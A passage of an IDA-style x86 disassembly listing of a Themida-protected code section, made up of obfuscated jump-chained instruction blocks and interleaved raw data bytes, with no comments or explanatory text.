loc_55DE12:				; CODE XREF: Themida_:00559D4Fj
		pop	ebx
		add	edx, 5C30AD87h
		mov	esi, edx
		jmp	loc_563F79
; ---------------------------------------------------------------------------
		dd 1E8EBF57h, 0FE21529Dh, 0D9F6815Fh, 8131E15Dh, 7E2F6h
		dd 0ACF6E96Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DE3A:				; CODE XREF: Themida_:00557B7Ej
		push	ecx
		jmp	loc_55DDE4
; ---------------------------------------------------------------------------


loc_55DE40:				; CODE XREF: Themida_:005682A8j
		sub	eax, 401EED56h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55EB56
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0C1830000h, 240C8704h, 1C47215Ch, 1C2E9h, 4EC8100h
		dd 0E9000000h, 5FBAh, 815FFD89h, 192489F5h, 8EDC166h, 55CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DE89:				; CODE XREF: Themida_:00558BCDj
		add	dl, al
		pop	eax
		jmp	loc_5588DC
; ---------------------------------------------------------------------------


loc_55DE91:				; CODE XREF: Themida_:0055B198j
		movzx	eax, al
		jmp	loc_567A87
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FF5A8DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEA1:				; CODE XREF: Themida_:005552FDj
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_558936
; ---------------------------------------------------------------------------
		db 0F7h
		dd 7EC681D6h, 21FEAF43h, 0CC32E9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DEC2:				; CODE XREF: Themida_:00560C73j
		sub	esi, 1A45787Bh
		push	esi
		push	ebp
		pop	esi
		mov	ebp, [esp]
		add	esp, 4
		not	ebp
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		xor	esi, 179305B9h
		add	edi, 42754C1Bh
		add	edi, esi
		sub	edi, 42754C1Bh
		jmp	loc_55D49E
; ---------------------------------------------------------------------------
		db 50h
		dd 0BF57E089h, 1A5271D0h, 0D5F78147h, 2D1A5271h, 6E561AD3h
		dd 0B951F801h, 6E561AD3h, 0A2E9C801h, 31FFFF68h, 0C33240Ch
		dd 1C895C24h, 0FDB95124h, 0C179466Bh, 0D9F705E9h, 4908E1C1h
		dd 77F8E949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF36:				; CODE XREF: Themida_:0055745Fj
		dec	esi
		xor	esi, 6436CADh
		jmp	loc_55AD3B
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 0FFB3ADE9h, 4EC83FFh, 89241C89h, 4C381E3h, 0E9000000h
		dd 0FFFF8ABEh, 2444815Bh, 1E692608h, 2474015Dh,	246C8108h
		dd 1E692608h, 24348B5Dh, 4C481h, 148B0000h, 4C48324h, 0E9240401h
		dd 0FFFFB49Ah, 0A5541068h, 2434FF74h, 0FF537EE9h, 6C815EFFh
		dd 6BAF0424h, 54291256h, 0B8500424h, 12566BAFh,	8244401h
		dd 0FF9F65E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DFB5:				; CODE XREF: Themida_:00555FAFj
		mov	esp, [esp]
		or	eax, eax
		jmp	loc_5668CF
; ---------------------------------------------------------------------------


loc_55DFBF:				; CODE XREF: Themida_:0056750Dj
		mov	[esp], esi
		push	20C158BFh
		pop	esi
		add	edx, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		push	esi
		mov	esi, 1B5960DDh
		add	esi, 436374E1h
		not	esi
		and	esi, 36CC3A61h
		xor	esi, 20402A45h
		add	eax, esi
		pop	esi
		push	edx
		jmp	loc_565343
; ---------------------------------------------------------------------------


loc_55DFF3:				; CODE XREF: Themida_:00561589j
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	7A65h
		mov	[esp], eax
		mov	eax, 4
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		jmp	loc_553E8A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832404h, 24048904h, 5F36E9h, 4C48100h, 50000000h
		dd 0FFD671E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E049:				; CODE XREF: Themida_:00567417j
		mov	eax, 5E3D5443h
		xor	eax, edi
		pop	edi
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_557258
; ---------------------------------------------------------------------------


loc_55E064:				; CODE XREF: Themida_:005610B9j
		dec	esi
		jmp	loc_55F063
; ---------------------------------------------------------------------------
word_55E06A	dw 8B66h		; DATA XREF: Themida_:00552A24o
		dd 8957240Ch, 4C781E7h,	56000000h, 1E9E689h, 8B00007Dh
		dd 0C481241Ch, 4, 8124348Bh, 4C4h, 0AEB85000h, 485ECE43h
		dd 0E906E8C1h, 0FFFFF25Ch, 421468h, 0CF8AE900h,	0F781FFFFh
		dd 1BBF7314h, 0C466C781h, 0FA31D278h, 5AD0015Fh, 26853h
		dd 0D5E90000h
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E0C7:				; CODE XREF: Themida_:00558E99j
		push	esp
		pop	ecx
		jmp	loc_557CE3
; ---------------------------------------------------------------------------


loc_55E0CE:				; CODE XREF: Themida_:005656E1j
		shl	esi, 4
		and	esi, 3C491852h
		jmp	loc_560346
; ---------------------------------------------------------------------------


loc_55E0DC:				; CODE XREF: Themida_:00567A25j
		push	ebp
		mov	ebp, 42E84D77h
		add	edi, ebp
		pop	ebp
		jmp	loc_55372F
; ---------------------------------------------------------------------------
		dw 405h
		dd 68000000h, 4F31h, 0FFC643E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E0F9:				; CODE XREF: Themida_:005619EFj
		mov	esp, [esp]
		jmp	loc_55744D
; ---------------------------------------------------------------------------
		db 5Dh,	0FFh, 34h
aPirsP		db '$^P┴ЮИсP',0
		align 2
		dw 0E7C1h
		dd 7FC78103h, 564E5A6Bh, 0FFA49EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E11D:				; CODE XREF: Themida_:005613DAj
		pop	edi
		push	7E9Ch
		jmp	loc_55BAB0
; ---------------------------------------------------------------------------


loc_55E128:				; CODE XREF: Themida_:0056426Aj
		pop	ecx
		sub	ebx, 68DD3119h
		add	ebx, edi
		add	ebx, 68DD3119h
		push	edx
		jmp	loc_559416
; ---------------------------------------------------------------------------


loc_55E13D:				; CODE XREF: Themida_:00557514j
		add	esp, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_55E155:				; CODE XREF: Themida_:00561A93j
		add	esp, 4
		jmp	loc_554C7A
; ---------------------------------------------------------------------------
aVsfi		db 'VИf┴',0
		db 0
; ---------------------------------------------------------------------------


loc_55E163:				; CODE XREF: Themida_:00567C48j
		add	ecx, eax
		add	ecx, 57011366h
		add	ecx, 4636136Fh
		pop	eax
		push	esi
		mov	esi, 25911F52h
		not	esi
		or	esi, 764E6952h
		sub	esi, 582C0861h
		push	ebx
		mov	ebx, 69160B2Ch
		or	ebx, 30D169CFh
		inc	ebx
		add	ebx, 0EBE7CF5Fh
		jmp	loc_5665C0
; ---------------------------------------------------------------------------


loc_55E19E:				; CODE XREF: Themida_:005624F7j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_55432A
; ---------------------------------------------------------------------------


loc_55E1B0:				; CODE XREF: Themida_:0055CAC0j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56256A
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 98F68146h, 0E966C561h, 0FFFF7171h
; ---------------------------------------------------------------------------


loc_55E1CC:				; CODE XREF: Themida_:0055ACF6j
		mov	ecx, 509F31C7h
		jmp	loc_55F0EE
; ---------------------------------------------------------------------------


loc_55E1D6:				; CODE XREF: Themida_:0055C131j
		not	esi
		add	esi, 8FB7EB8Eh
		sub	edi, esi
		pop	esi
		sub	eax, 2D7940CFh
		push	edx
		jmp	loc_5565A4
; ---------------------------------------------------------------------------


loc_55E1EC:				; CODE XREF: Themida_:0055AF92j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_55AA8A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4EA8100h, 0E9000000h, 24F6h, 5A1C5721h, 0FF49A2E9h
		dd 0D5CF81FFh, 5523B606h, 0B9726ABDh, 0E9515563h, 0FFFFC8F2h
; ---------------------------------------------------------------------------


loc_55E22C:				; CODE XREF: Themida_:0055FB88j
		jz	loc_55BF03
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		jmp	loc_5596B7
; ---------------------------------------------------------------------------


loc_55E23D:				; CODE XREF: Themida_:00553682j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		jmp	loc_5642FE
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 2BD24h, 0E8010000h, 2404335Dh, 0E9240431h
		dd 897Ch, 0DD34B32Dh, 316D2D2Eh, 0C701FDE9h, 0E9FA8958h
		dd 229Ch, 6697C380h, 0E924148Bh, 33CFh,	11E9EE01h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E28F:				; CODE XREF: Themida_:0056481Dj
		or	ebp, ecx
		pop	ecx
		jmp	loc_55AC5C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 0A968240Ch, 8900000Dh, 0E9542414h, 79A4h
; ---------------------------------------------------------------------------


loc_55E2AC:				; CODE XREF: Themida_:0056682Fj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_556B39
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 7E31E924h, 0C281FFFFh, 6269E2A0h, 78FAE9h, 0C3B05000h
		dd 9B89E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E2ED:				; CODE XREF: Themida_:00556DB0j
		add	dword ptr [esp+8], 3CF23D5Eh
		add	dword ptr [esp+8], 393622DCh
		jmp	loc_55B319
; ---------------------------------------------------------------------------
word_55E302	dw 53ADh		; DATA XREF: Themida_:005528E4o
		dd 0C381E389h, 4, 0FF677BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E311:				; CODE XREF: Themida_:0056722Bj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5634D2
; ---------------------------------------------------------------------------
		dd 4BEh, 7C86E900h, 8166FFFFh, 665228EDh, 6603EDC1h, 6601ED83h
		dd 0ADBE6656h, 0F5016609h, 24348B66h, 6802C483h, 4450h
		dd 66240489h, 66559AB8h, 6658D368h, 66240489h, 66240487h
		dd 7E28E950h, 0C7810000h, 4, 5C243C87h,	67F5B850h, 5CE90281h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E37F:				; CODE XREF: Themida_:00559734j
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		push	ebp
		jmp	loc_55FCBD
; ---------------------------------------------------------------------------


loc_55E38B:				; CODE XREF: Themida_:0055C2D8j
		mov	esi, 4
		push	edi
		mov	edi, 364B46DAh
		not	edi
		shl	edi, 6
		shr	edi, 8
		push	ebx
		mov	ebx, 68870000h
		and	edi, ebx
		pop	ebx
		neg	edi
		xor	edi, 8E9E3C60h
		sub	edx, edi
		jmp	loc_55586D
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 156Fh, 81E68956h, 4C6h, 4EE8300h, 5C243487h
		dd 0E9240489h, 0FFFFF8A1h, 245C015Fh, 241C8B04h, 0FF7058E9h
		dd 4E5C1FFh, 8104EDC1h,	70584EF5h, 3BE9562Bh, 83000053h
		dd 9DE904ECh
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E3FF:				; CODE XREF: Themida_:0055EECCj
		add	esi, 5A601C65h
		jmp	loc_563638
; ---------------------------------------------------------------------------
		dw 0E7C1h
		dd 81D7F704h, 0A4E6F3EFh, 2D17E9EBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E41A:				; CODE XREF: Themida_:0056390Bj
		push	ebx
		mov	ebx, 1D9B45Eh
		sub	esi, ebx
		pop	ebx
		sub	edi, 5FD010B4h
		sub	edi, esi
		add	edi, 5FD010B4h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_554CC7
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BE8h, 3304C483h, 4312404h, 24043324h, 5624248Bh
		dd 33C68h, 243C8900h, 0E0753168h, 2434FF5Fh, 0E689565Fh
		dd 0CFB6E955h, 0C701FFFFh, 4B85058h, 0E9000000h, 0FFFF634Bh
; ---------------------------------------------------------------------------


loc_55E47C:				; CODE XREF: Themida_:0055C493j
		mov	[esp], ebp
		mov	ebp, 984208Bh
		jmp	loc_564D07
; ---------------------------------------------------------------------------


loc_55E489:				; CODE XREF: Themida_:00558941j
		push	edi
		mov	edi, 230F50B3h
		jmp	loc_557051
; ---------------------------------------------------------------------------


loc_55E494:				; CODE XREF: Themida_:00568022j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	esi, ebp
		pop	ebp
		jmp	loc_55940B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFD18EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E4B1:				; CODE XREF: Themida_:00553D86j
		add	ecx, 4
		jmp	loc_55EFDA
; ---------------------------------------------------------------------------
		dd 0EAC1D2F7h, 4CF28102h, 893F3D1Ah, 0C9E95AD1h, 1FFFF96h
		dd 5E042474h, 0E9241C29h, 3682h, 524D68h, 24248900h, 0FF7EC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E4E9:				; CODE XREF: Themida_:005554B1j
		push	34h
		jmp	loc_55F717
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFB405E9h, 8BCA01FFh, 0C483240Ch, 24148704h, 944AE95Ch
		dd 5959FFFFh, 64C5E9h, 243C8A00h, 0E904C483h, 0FFFF7CACh
		dd 5C241C87h, 0BE243489h, 4B9A0B37h, 15EF001h, 5E955E8h
		dd 0D1FFFFE5h, 0B6CE81E6h, 8332EB02h, 5DE901C6h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E543:				; CODE XREF: Themida_:0055F6FFj
		mov	ecx, [esp]
		jmp	loc_5621DA
; ---------------------------------------------------------------------------
		db 0F3h
		dd 386203A5h, 436AE9h, 1BBB5300h, 52195236h, 52361FBAh
		dd 5AD33119h, 6B50E981h, 0D90134D1h, 0FFAE2CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E571:				; CODE XREF: Themida_:0055D628j
		not	ebp
		inc	ebp
		xor	ebp, 1ABA2229h
		jmp	loc_55D733
; ---------------------------------------------------------------------------
aFw		db 'FW©ф',0
		dd 0FE29C0B6h, 0FB0E9h,	84E95C00h, 66000084h, 0E924048Bh
		dd 55A6h, 3024248Bh, 0C0B60FC3h, 0E98734FFh, 0FFFF460Fh
		dd 0BE685954h, 89000054h, 0E9522404h, 0FFFF5B8Eh
; ---------------------------------------------------------------------------


loc_55E5BC:				; CODE XREF: Themida_:0055FD0Cj
		push	eax
		jmp	loc_55E722
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0C4057B0Dh, 2E0C118h, 0A0CEE935h, 8BC101D5h,	0E9532404h
		dd 4517h, 22DD68h, 24148900h, 0BF575A54h, 4, 0E95FFA01h
		dd 3D2Ch, 442FBF5Dh, 0EF296EE5h, 8B58575Dh, 0C481243Ch
		dd 4, 71FEA81h,	0C2017188h, 3D2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55E615:				; CODE XREF: Themida_:0055D190j
		sub	edx, eax
		add	edx, 650F34E3h
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 555D1E92h
		push	ebp
		jmp	loc_566585
; ---------------------------------------------------------------------------


loc_55E62E:				; CODE XREF: Themida_:00557CBAj
		or	eax, eax
		jz	loc_557C12
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		push	461648C2h
		pop	ebp
		push	edx
		jmp	loc_5548F8
; ---------------------------------------------------------------------------


loc_55E649:				; CODE XREF: Themida_:005679EEj
		add	[esp+4], eax
		add	dword ptr [esp+4], 3A23A7Ch
		jmp	loc_554A19
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 58461231h, 15EF001h,	6D722DD8h, 712D5B12h, 687B9305h
		dd 0A8h, 0E9241C89h, 8300h
; ---------------------------------------------------------------------------


loc_55E67C:				; CODE XREF: Themida_:0056727Dj
		add	esp, 4
		sub	bl, 65h
		jmp	loc_55546E
; ---------------------------------------------------------------------------
		dw 0E381h
		dd 56236EB9h, 22C3814Bh, 0E91AFD61h, 0FFFFA45Dh, 0E95AD501h
		dd 0FFFFF499h
; ---------------------------------------------------------------------------


loc_55E6A4:				; CODE XREF: Themida_:005534BFj
		add	esp, 4
		add	esp, 4
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], edx
		push	2
		jmp	loc_563215
; ---------------------------------------------------------------------------


loc_55E6DF:				; CODE XREF: Themida_:0055B30Cj
		sub	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		push	ebx
		mov	ebx, 5CCE3315h
		add	ecx, ebx
		jmp	loc_5634B9
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 68AD0FB1h, 0C181D901h, 68AD0FB1h, 240C335Bh,	1CC0E9h
		dd 344F0500h, 0D02944E1h, 68D2E9h, 242C8900h, 4BDh, 7B6AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E722:				; CODE XREF: Themida_:0055E5BDj
		mov	ah, 0A7h
		sub	ah, 0Bh
		and	dl, ah
		pop	eax
		sub	esp, 2
		mov	[esp], bx
		push	ecx
		jmp	loc_554A45
; ---------------------------------------------------------------------------
		dw 1431h
		dd 5355E924h, 0BA52FFFFh, 67C0767Ah, 0E95AD721h, 4DDBh
; ---------------------------------------------------------------------------


loc_55E750:				; CODE XREF: Themida_:00560674j
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		add	edi, esi
		pop	esi
		jmp	loc_560A60
; ---------------------------------------------------------------------------
		db 0B4h, 1Ah, 80h
		dd 0D4F68EF4h, 6E16866h, 24048966h, 12444FEh, 0EC835866h
		dd 1D65E902h, 15A0000h,	215DE9E9h, 74FF0000h, 0BFE90424h
		dd 81000096h, 9D6DD1EEh, 2EEC167h, 3BD5CE81h, 554E0F14h
		dd 0FF7C9DE9h, 241C89FFh, 561F68h, 240C8900h, 0FF8475E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E7B5:				; CODE XREF: Themida_:0055D17Bj
		push	0A8F5D0Eh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_566DF1
; ---------------------------------------------------------------------------
		dd 48BC501h, 4C48324h, 2C581h, 0AFE90000h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E7DB:				; CODE XREF: Themida_:00553EA0j
		mov	ebp, edx
		jmp	loc_55AFD4
; ---------------------------------------------------------------------------


loc_55E7E2:				; CODE XREF: Themida_:00561C79j
		mov	ebp, 1ABA222Eh
		dec	ebp
		jmp	loc_55D625
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68300h, 5C243487h, 0FFBBE3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55E801:				; CODE XREF: Themida_:0055D40Ej
		add	esp, 4
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF43ABh, 5D2414F7h, 5504E5C1h, 5D2414F7h,	0FCED8145h
		dd 12056A6h, 51535DEEh,	0EB76D0B9h, 76D4BB11h, 0CB3111EBh
		dd 6CFEE959h, 0C3810000h, 9FBF747Bh, 612EE9h, 8E9C100h
		dd 4005F181h, 0CF010000h, 74FF5759h, 8F5F0424h,	885C2404h
		dd 0FF01876Ch, 0E9592434h, 0FFFF8F05h, 915250BFh, 5FFB293Bh
		dd 0BF57C301h, 3B915250h, 0E95FFB01h, 0FFFF4870h
; ---------------------------------------------------------------------------


loc_55E880:				; CODE XREF: Themida_:0055F42Ej
		add	eax, ebp
		add	eax, 1C3726BEh
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		push	564Ah
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_559EA0
; ---------------------------------------------------------------------------
		dd 5533C281h, 0D789EA96h, 1E1DE9h, 242C8B00h, 4C481h, 48F0000h
		dd 8B665C24h, 0F682404h, 8900004Fh, 0FF68242Ch,	89000020h
		dd 0EC832424h, 241C8904h, 150CBF57h, 0BE5640F5h, 6BF937D4h
		dd 7446E9h
		db 0
; ---------------------------------------------------------------------------


loc_55E8E5:				; CODE XREF: Themida_:00558F48j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55F649
; ---------------------------------------------------------------------------


loc_55E8F1:				; CODE XREF: Themida_:0055A827j
		mov	esi, 4
		push	ecx
		jmp	loc_5530B9
; ---------------------------------------------------------------------------


loc_55E8FC:				; CODE XREF: Themida_:0055B814j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	570Ch
		mov	[esp], esp
		push	1490h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_56287E
; ---------------------------------------------------------------------------
		db 0E9h, 95h, 42h
		dd 3487FFFFh, 24248B24h, 400468h, 0BCC5E900h, 0F580FFFFh
		dd 66EC309Eh, 0D0B65259h, 2DBCE9h, 24048700h, 0FF79F2E9h
		dd 86DEF6FFh, 66C8FEF0h, 0E9B2B753h, 0FFFFA348h
; ---------------------------------------------------------------------------


loc_55E95C:				; CODE XREF: Themida_:00560557j
		mov	dx, [esp]
		add	esp, 2
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
dword_55E970	dd 24048B66h, 20DA68h, 24048900h, 8BE95854h ; DATA XREF: Themida_:005528D8o
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E983:				; CODE XREF: Themida_:00564827j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_553CB0
; ---------------------------------------------------------------------------
		dw 45B9h
		dd 0E919600Ch, 0FFFF6D4Ch, 5DE9E929h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E9AB:				; CODE XREF: Themida_:0055A56Fj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55D67B
; ---------------------------------------------------------------------------


loc_55E9EA:				; CODE XREF: Themida_:00554C9Dj
		mov	eax, 20476BDBh
		add	ebx, eax
		jmp	loc_56383F
; ---------------------------------------------------------------------------


loc_55E9F6:				; CODE XREF: Themida_:00559DEAj
		add	[esp+8], ebx
		pop	ebx
		jmp	loc_560B01
; ---------------------------------------------------------------------------
		dd 8124048Bh, 4C4h, 0C6815900h,	2E772954h, 13E9D601h, 81000087h
		dd 0FF10BEF3h, 87C8E95Bh
		db 2 dup(0FFh)
word_55EA22	dw 77FFh		; DATA XREF: Themida_:005529CCo
		dd 58669D1Ch, 9C240410h, 0FF418AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA31:				; CODE XREF: Themida_:00559BF8j
		add	edi, 78AE3011h
		sub	edi, 475A36F8h
		sub	edi, esi
		jmp	loc_560628
; ---------------------------------------------------------------------------
dword_55EA44	dd 4EC81ACh, 89000000h,	0A6B22414h, 0C007E2C0h,	6EE905EAh
					; DATA XREF: Themida_:005528FCo
		dd 1FFFF65h, 52505AD6h,	0F19ACBAh, 4538E934h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EA6A:				; CODE XREF: Themida_:0055B075j
		xchg	edi, [esp]
		jmp	loc_55C6BE
; ---------------------------------------------------------------------------
		dw 0FA00h
		dd 0FFD4B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EA79:				; CODE XREF: Themida_:00561E47j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_5605A3
; ---------------------------------------------------------------------------
		dd 5FFA295Eh, 61AEE95Eh, 0B8500000h, 0FA268EBh,	0F706E0C1h
		dd 3E8C1D8h, 0EF812735h, 0E9C70175h, 4A02h
; ---------------------------------------------------------------------------


loc_55EAB0:				; CODE XREF: Themida_:0055793Aj
		and	edx, 3AE365C2h
		xchg	ebp, edx
		jmp	loc_561422
; ---------------------------------------------------------------------------


loc_55EABD:				; CODE XREF: Themida_:00567AF4j
		xchg	edi, [esp]
		jmp	loc_5580E0
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 2
		dd 0E9000000h, 0FFFF60DFh, 4C4835Dh, 1BAB68h, 240C8900h
		dd 6E3868h, 3D4E900h, 0E3890000h, 4087BF57h, 0DFF72F53h
		dd 0BF75EF81h, 0BBE9D0ACh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EAFB:				; CODE XREF: Themida_:00566BC6j
		mov	[esp], ebx
		jmp	loc_559C62
; ---------------------------------------------------------------------------
		db 29h
		dd 33E951C3h, 52FFFF80h, 1D70E9h
		db 0
; ---------------------------------------------------------------------------


loc_55EB11:				; CODE XREF: Themida_:005531F1j
		pop	esi
		sub	ebp, 4
		jmp	loc_5662F6
; ---------------------------------------------------------------------------
		dw 3487h
		dd 1F25E924h, 0C4810000h, 4, 0FFE620E9h, 0FFEB80FFh, 0F380D3F6h
		dd 5BDE30A8h, 0FFEBCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB3D:				; CODE XREF: Themida_:00556E79j
		and	bh, 0F2h
		add	bh, 0E2h
		add	al, bh
		pop	ebx
		jmp	loc_5643FA
; ---------------------------------------------------------------------------
		db 81h
		dd 107954C3h, 3863E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EB56:				; CODE XREF: Themida_:0055DE50j
		sub	eax, esi
		pop	esi
		push	4AD7h
		jmp	loc_55C34B
; ---------------------------------------------------------------------------
		db 89h
		dd 243C8BF8h, 4C481h, 0C5310000h, 5DE80158h, 2BD55h, 0E8010000h
		dd 2404875Dh, 0FF58A6E9h, 243C87FFh, 95FCE95Ch,	0B7530000h
		dd 3FCF80D2h, 0E903F780h, 6FF7h, 883DE435h, 0A923053Eh
		dd 0C6896FCFh, 8324048Bh, 0EE8104C4h, 37A45ABBh, 4EC8346h
		dd 68241489h, 0AD8h, 0BF243C89h, 6397ADFh, 4A00BA52h, 1D681E15h
		dd 89000011h, 38E9242Ch, 0BEFFFFE8h, 4ADC177Dh,	5FDEF681h
		dd 0CE81493Eh, 14E95B77h, 0FFF98EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EBF1:				; CODE XREF: Themida_:0055A74Aj
		pop	ebx
		push	ebp
		jmp	loc_556967
; ---------------------------------------------------------------------------
		dd 5BDE0158h, 1F16E9h, 0CDE98100h, 0E9EE3B46h, 0FFFF8042h
		dd 33240431h, 248B2404h, 4896624h, 59F3E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EC1E:				; CODE XREF: Themida_:0056301Fj
		pop	esp
		jmp	loc_55B062
; ---------------------------------------------------------------------------
dword_55EC24	dd 9D1C77FFh, 1CD35966h, 88E99C24h, 53FFFF3Fh, 9618E9h
					; DATA XREF: Themida_:0055297Co
		db 0
; ---------------------------------------------------------------------------


loc_55EC39:				; CODE XREF: Themida_:0055615Fj
		pop	edx
		jmp	loc_559432
; ---------------------------------------------------------------------------


loc_55EC3F:				; CODE XREF: Themida_:00555B1Aj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553F3C
; ---------------------------------------------------------------------------
		db 89h
		dd 0D6295EF2h, 2434875Ah, 2424895Ch, 4240481h, 8B000000h
		dd 0C4832434h, 4C68104h, 83000000h, 0FF5604C6h,	5E042474h
		dd 0FFDE8EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC79:				; CODE XREF: Themida_:005593D4j
		push	eax
		mov	eax, 2D674D3Eh
		dec	eax
		sub	eax, 9DA8B29Fh
		jmp	loc_55B653
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 183537C6h, 0FFBD05E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC95:				; CODE XREF: Themida_:00564042j
		sub	al, cl
		add	al, 33h
		jmp	loc_55FBFB
; ---------------------------------------------------------------------------
		dw 0C435h
		dd 40305413h, 2502E0C1h, 3E5B58BAh, 7604880Dh, 33BF5725h
		dd 0E97D731Ah, 23A8h
; ---------------------------------------------------------------------------


